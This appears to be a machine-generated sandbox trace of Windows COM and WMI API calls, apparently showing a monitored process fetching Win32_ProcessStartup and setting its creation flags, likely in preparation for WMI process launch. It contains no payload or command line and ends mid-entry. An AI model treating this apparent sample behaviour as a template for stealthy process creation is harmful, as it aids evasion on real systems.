[0110.230] WbemLocator:IUnknown:Release (This=0x1b4ad550) returned 0x1 [0110.230] WbemLocator:IUnknown:QueryInterface (in: This=0x63b300, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cfa0 | out: ppvObject=0x1b30cfa0*=0x1b4ad598) returned 0x0 [0110.230] WbemLocator:IUnknown:QueryInterface (in: This=0x63b300, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cfb0 | out: ppvObject=0x1b30cfb0*=0x1b4ad550) returned 0x0 [0110.230] WbemLocator:IClientSecurity:SetBlanket (This=0x1b4ad550, pProxy=0x63b300, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0110.233] WbemLocator:IUnknown:Release (This=0x1b4ad550) returned 0x2 [0110.233] WbemLocator:IUnknown:Release (This=0x1b4ad598) returned 0x1 [0110.233] CoTaskMemFree (pv=0x1b4617c0) [0110.233] WbemLocator:IUnknown:Release (This=0x1b4d2780) returned 0x0 [0110.233] WbemLocator:IUnknown:QueryInterface (in: This=0x63b300, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30caa0 | out: ppvObject=0x1b30caa0*=0x1b4ad598) returned 0x0 [0110.233] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ad598, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30cb30 | out: ppvObject=0x1b30cb30*=0x0) returned 0x80004002 [0110.238] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ad598, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c750 | out: ppvObject=0x1b30c750*=0x0) returned 0x80004002 [0110.240] WbemLocator:IUnknown:QueryInterface (in: This=0x63b300, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c328 | out: ppvObject=0x1b30c328*=0x0) returned 0x80004002 [0110.245] WbemLocator:IUnknown:AddRef (This=0x1b4ad598) returned 0x3 [0110.245] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ad598, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c1e8 | out: ppvObject=0x1b30c1e8*=0x0) returned 0x80004002 [0110.245] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ad598, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c170 | out: ppvObject=0x1b30c170*=0x0) returned 0x80004002 [0110.245] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ad598, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c160 | out: ppvObject=0x1b30c160*=0x1b4ad478) returned 0x0 [0110.245] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b4ad478, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30c188 | out: pCid=0x1b30c188*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0110.245] WbemLocator:IUnknown:Release (This=0x1b4ad478) returned 0x3 [0110.245] CoGetContextToken (in: pToken=0x1b30c210 | out: pToken=0x1b30c210) returned 0x0 [0110.245] CoGetContextToken (in: pToken=0x1b30c690 | out: pToken=0x1b30c690) returned 0x0 [0110.245] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ad598, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c750 | out: ppvObject=0x1b30c750*=0x1b4ad560) returned 0x0 [0110.245] WbemLocator:IRpcOptions:Query (in: This=0x1b4ad560, pPrx=0x1b4ad598, dwProperty=2, pdwValue=0x1b30c740 | out: pdwValue=0x1b30c740) returned 0x80004002 [0110.245] WbemLocator:IUnknown:Release (This=0x1b4ad560) returned 0x3 [0110.246] WbemLocator:IUnknown:Release (This=0x1b4ad598) returned 0x2 [0110.246] CoGetContextToken (in: pToken=0x1b30cd50 | out: pToken=0x1b30cd50) returned 0x0 [0110.246] CoGetContextToken (in: pToken=0x1b30cc50 | out: pToken=0x1b30cc50) returned 0x0 [0110.246] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ad598, riid=0x1b30cdb0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b30cd80 | out: ppvObject=0x1b30cd80*=0x63b300) returned 0x0 [0110.246] WbemLocator:IUnknown:AddRef (This=0x63b300) returned 0x4 [0110.246] WbemLocator:IUnknown:Release (This=0x63b300) returned 0x3 [0110.246] WbemLocator:IUnknown:Release (This=0x63b300) returned 0x2 [0110.246] SysStringLen (param_1=0x0) returned 0x0 [0110.246] CoGetContextToken (in: pToken=0x1b30cf00 | out: pToken=0x1b30cf00) returned 0x0 [0110.246] WbemLocator:IUnknown:AddRef (This=0x1b4ad598) returned 0x3 [0110.246] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ad598, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf00 | out: ppvObject=0x1b30cf00*=0x1b4ad598) returned 0x0 [0110.246] WbemLocator:IUnknown:Release (This=0x1b4ad598) returned 0x3 [0110.246] WbemLocator:IUnknown:Release (This=0x1b4ad598) returned 0x2 [0110.246] WbemDefPath:IWbemPath:GetText (in: This=0x1b4affa0, lFlags=2, puBuffLength=0x1b30d600*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d600*=0x15, pszText=0x0) returned 0x0 [0110.246] WbemDefPath:IWbemPath:GetText (in: This=0x1b4affa0, lFlags=2, puBuffLength=0x1b30d600*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b30d600*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0110.246] IWbemServices:GetObject (in: This=0x63b300, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1b30d580*=0x0, ppCallResult=0x0 | out: ppObject=0x1b30d580*=0x1b4cfad0, ppCallResult=0x0) returned 0x0 [0110.254] IWbemClassObject:Get (in: This=0x1b4cfad0, wszName="__PATH", lFlags=0, pVal=0x1b30d510*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d678*=0, plFlavor=0x1b30d670*=0 | out: pVal=0x1b30d510*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1b30d678*=8, plFlavor=0x1b30d670*=64) returned 0x0 [0110.254] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x50 [0110.254] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x50 [0110.254] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d548 | out: ppv=0x1b30d548*=0x6124e8) returned 0x0 [0110.254] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d538 | out: pAptType=0x1b30d538*=1) returned 0x0 [0110.254] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d540 | out: ppvObject=0x1b30d540*=0x0) returned 0x80004002 [0110.254] IUnknown:Release (This=0x6124e8) returned 0x1 [0110.255] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c938 | out: ppv=0x1b30c938*=0x1b4d2d20) returned 0x0 [0110.255] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d2d20, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30ca20 | out: ppvObject=0x1b30ca20*=0x0) returned 0x80004002 [0110.255] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d2d20, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c9f8 | out: ppvObject=0x1b30c9f8*=0x1b4aeda0) returned 0x0 [0110.255] WbemDefPath:IUnknown:Release (This=0x1b4d2d20) returned 0x0 [0110.255] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aeda0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c7a0 | out: ppvObject=0x1b30c7a0*=0x1b4aeda0) returned 0x0 [0110.255] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aeda0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c830 | out: ppvObject=0x1b30c830*=0x0) returned 0x80004002 [0110.255] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aeda0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c028 | out: ppvObject=0x1b30c028*=0x0) returned 0x80004002 [0110.256] WbemDefPath:IUnknown:AddRef (This=0x1b4aeda0) returned 0x3 [0110.256] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aeda0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bee8 | out: ppvObject=0x1b30bee8*=0x0) returned 0x80004002 [0110.256] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aeda0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30be70 | out: ppvObject=0x1b30be70*=0x0) returned 0x80004002 [0110.256] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aeda0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30be60 | out: ppvObject=0x1b30be60*=0x1b4d2700) returned 0x0 [0110.256] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d2700, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30be88 | out: pCid=0x1b30be88*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0110.256] WbemDefPath:IUnknown:Release (This=0x1b4d2700) returned 0x3 [0110.256] CoGetContextToken (in: pToken=0x1b30bf10 | out: pToken=0x1b30bf10) returned 0x0 [0110.256] CoGetContextToken (in: pToken=0x1b30c390 | out: pToken=0x1b30c390) returned 0x0 [0110.256] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aeda0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c450 | out: ppvObject=0x1b30c450*=0x0) returned 0x80004002 [0110.256] WbemDefPath:IUnknown:Release (This=0x1b4aeda0) returned 0x2 [0110.256] WbemDefPath:IUnknown:Release (This=0x1b4aeda0) returned 0x1 [0110.256] CoGetContextToken (in: pToken=0x1b30d180 | out: pToken=0x1b30d180) returned 0x0 [0110.256] CoGetContextToken (in: pToken=0x1b30d080 | out: pToken=0x1b30d080) returned 0x0 [0110.256] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aeda0, riid=0x1b30d1e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d1b0 | out: ppvObject=0x1b30d1b0*=0x1b4aeda0) returned 0x0 [0110.256] WbemDefPath:IUnknown:AddRef (This=0x1b4aeda0) returned 0x3 [0110.256] WbemDefPath:IUnknown:Release (This=0x1b4aeda0) returned 0x2 [0110.256] WbemDefPath:IWbemPath:SetText (This=0x1b4aeda0, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0110.256] IWbemClassObject:Get (in: This=0x1b4cfad0, wszName="CreateFlags", lFlags=0, pVal=0x1b30d590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28ae090*=0, plFlavor=0x28ae094*=0 | out: pVal=0x1b30d590*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28ae090*=19, plFlavor=0x28ae094*=0) returned 0x0 [0110.256] IWbemClassObject:Get (in: This=0x1b4cfad0, wszName="CreateFlags", lFlags=0, pVal=0x1b30d580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28ae090*=19, plFlavor=0x28ae094*=0 | out: pVal=0x1b30d580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28ae090*=19, plFlavor=0x28ae094*=0) returned 0x0 [0110.256] IWbemClassObject:Put (This=0x1b4cfad0, wszName="CreateFlags", lFlags=0, pVal=0x1b30d5e0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0110.257] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4afee0, puCount=0x1b30d568 | out: puCount=0x1b30d568*=0x0) returned 0x0 [0110.257] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655eb0, puCount=0x1b30d528 | out: puCount=0x1b30d528*=0x2) returned 0x0 [0110.257] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d520*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d520*=0xf, pszText=0x0) returned 0x0 [0110.257] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d520*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d520*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0110.257] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d478 | out: ppv=0x1b30d478*=0x6124e8) returned 0x0 [0110.257] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d468 | out: pAptType=0x1b30d468*=1) returned 0x0 [0110.257] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d470 | out: ppvObject=0x1b30d470*=0x0) returned 0x80004002 [0110.257] IUnknown:Release (This=0x6124e8) returned 0x1 [0110.257] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c868 | out: ppv=0x1b30c868*=0x1b4d2be0) returned 0x0 [0110.257] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d2be0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c950 | out: ppvObject=0x1b30c950*=0x0) returned 0x80004002 [0110.257] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d2be0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c928 | out: ppvObject=0x1b30c928*=0x1b4aef20) returned 0x0 [0110.258] WbemDefPath:IUnknown:Release (This=0x1b4d2be0) returned 0x0 [0110.258] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aef20, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c6d0 | out: ppvObject=0x1b30c6d0*=0x1b4aef20) returned 0x0 [0110.258] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aef20, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c760 | out: ppvObject=0x1b30c760*=0x0) returned 0x80004002 [0110.258] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aef20, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bf58 | out: ppvObject=0x1b30bf58*=0x0) returned 0x80004002 [0110.258] WbemDefPath:IUnknown:AddRef (This=0x1b4aef20) returned 0x3 [0110.258] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aef20, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30be18 | out: ppvObject=0x1b30be18*=0x0) returned 0x80004002 [0110.258] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aef20, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bda0 | out: ppvObject=0x1b30bda0*=0x0) returned 0x80004002 [0110.258] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aef20, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd90 | out: ppvObject=0x1b30bd90*=0x1b4d2880) returned 0x0 [0110.258] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d2880, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bdb8 | out: pCid=0x1b30bdb8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0110.258] WbemDefPath:IUnknown:Release (This=0x1b4d2880) returned 0x3 [0110.258] CoGetContextToken (in: pToken=0x1b30be40 | out: pToken=0x1b30be40) returned 0x0 [0110.258] CoGetContextToken (in: pToken=0x1b30c2c0 | out: pToken=0x1b30c2c0) returned 0x0 [0110.258] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aef20, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c380 | out: ppvObject=0x1b30c380*=0x0) returned 0x80004002 [0110.258] WbemDefPath:IUnknown:Release (This=0x1b4aef20) returned 0x2 [0110.258] WbemDefPath:IUnknown:Release (This=0x1b4aef20) returned 0x1 [0110.258] CoGetContextToken (in: pToken=0x1b30d0b0 | out: pToken=0x1b30d0b0) returned 0x0 [0110.258] CoGetContextToken (in: pToken=0x1b30cfb0 | out: pToken=0x1b30cfb0) returned 0x0 [0110.258] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aef20, riid=0x1b30d110*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d0e0 | out: ppvObject=0x1b30d0e0*=0x1b4aef20) returned 0x0 [0110.258] WbemDefPath:IUnknown:AddRef (This=0x1b4aef20) returned 0x3 [0110.258] WbemDefPath:IUnknown:Release (This=0x1b4aef20) returned 0x2 [0110.258] WbemDefPath:IWbemPath:SetText (This=0x1b4aef20, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0110.258] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4aef20, puCount=0x1b30d498 | out: puCount=0x1b30d498*=0x2) returned 0x0 [0110.258] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aef20, lFlags=4, puBuffLength=0x1b30d490*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d490*=0xf, pszText=0x0) returned 0x0 [0110.258] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aef20, lFlags=4, puBuffLength=0x1b30d490*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d490*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0110.259] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d508 | out: ppv=0x1b30d508*=0x6124e8) returned 0x0 [0110.259] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d4f8 | out: pAptType=0x1b30d4f8*=1) returned 0x0 [0110.259] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d500 | out: ppvObject=0x1b30d500*=0x0) returned 0x80004002 [0110.259] IUnknown:Release (This=0x6124e8) returned 0x1 [0110.259] CoGetClassObject (in: rclsid=0x1b440e38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30cbc8 | out: ppv=0x1b30cbc8*=0x1b4d2c80) returned 0x0 [0110.259] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d2c80, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30ccb0 | out: ppvObject=0x1b30ccb0*=0x0) returned 0x80004002 [0110.259] WbemLocator:IClassFactory:CreateInstance (in: This=0x1b4d2c80, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cc88 | out: ppvObject=0x1b30cc88*=0x1b4d2cc0) returned 0x0 [0110.259] WbemLocator:IUnknown:Release (This=0x1b4d2c80) returned 0x0 [0110.259] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d2cc0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30ca30 | out: 